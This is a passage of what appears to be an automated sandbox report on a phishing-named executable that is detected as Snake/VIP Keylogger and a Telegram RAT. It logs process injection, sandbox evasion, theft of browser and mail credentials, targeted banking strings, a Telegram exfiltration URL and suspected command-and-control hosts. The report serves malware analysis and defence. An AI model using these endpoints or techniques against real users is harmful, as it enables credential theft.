Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598461	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597569	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597447	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597336	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596961	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596823	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596588	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596318	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596165	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595433	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594374	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 593937	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 593828	Jump to behavior

Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<5
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: new order 00041221.exe, 00000003.00000002.3714025958.000000000419E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\new order 00041221.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

Code function: 3_2_05A397B0 LdrInitializeThunk,

3_2_05A397B0

Source: C:\Users\user\Desktop\new order 00041221.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\new order 00041221.exe

Memory written: C:\Users\user\Desktop\new order 00041221.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

Process created: C:\Users\user\Desktop\new order 00041221.exe "C:\Users\user\Desktop\new order 00041221.exe"

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Users\user\Desktop\new order 00041221.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Users\user\Desktop\new order 00041221.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\new order 00041221.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
new order 00041221.exe	41%	Virustotal		Browse
new order 00041221.exe	47%	ReversingLabs	ByteCode-MSIL.Trojan.SnakeStealer
new order 00041221.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
mail.moonbrosurgical.com	0%	Virustotal	Browse
reallyfreegeoip.org	0%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse
15.164.165.52.in-addr.arpa	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://www.office.com/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
http://r11.o.lencr.org0#	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2027/07/2024%20/%2000:07:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
https://www.office.com/lB	0%	Avira URL Cloud	safe
https://api.telegram.org	1%	Virustotal		Browse
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://chrome.google.com/webstore?hl=en0	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
https://www.office.com/lB	0%	Virustotal		Browse
https://chrome.google.com/webstore?hl=en	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://varders.kozow.com:8081	0%	Avira URL Cloud	safe
http://aborters.duckdns.org:8081	0%	Avira URL Cloud	safe
http://51.38.247.67:8081/_send_.php?L	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	1%	Virustotal		Browse
https://chrome.google.com/webstore?hl=en	0%	Virustotal		Browse
http://r11.i.lencr.org/0Q	0%	Avira URL Cloud	safe
http://aborters.duckdns.org:8081	12%	Virustotal		Browse
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Virustotal		Browse
http://51.38.247.67:8081/_send_.php?L	3%	Virustotal		Browse
https://www.office.com/0	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20a	1%	Virustotal		Browse
http://anotherarmy.dns.army:8081	100%	Avira URL Cloud	malware
https://chrome.google.com/webstore?hl=enlB	0%	Avira URL Cloud	safe
http://mail.moonbrosurgical.com	0%	Avira URL Cloud	safe
http://varders.kozow.com:8081	15%	Virustotal		Browse
http://r11.i.lencr.org/0Q	0%	Virustotal		Browse
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Avira URL Cloud	safe
http://anotherarmy.dns.army:8081	15%	Virustotal		Browse
http://mail.moonbrosurgical.com	0%	Virustotal		Browse
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.moonbrosurgical.com	203.124.44.4	true	false	0%, Virustotal, Browse	unknown
reallyfreegeoip.org	188.114.97.3	true	true	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
checkip.dyndns.com	193.122.6.168	true	false	0%, Virustotal, Browse	unknown
15.164.165.52.in-addr.arpa	unknown	unknown	true	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2027/07/2024%20/%2000:07:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	new order 00041221.exe, 00000003.00000002.3711414422.00000000030A5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
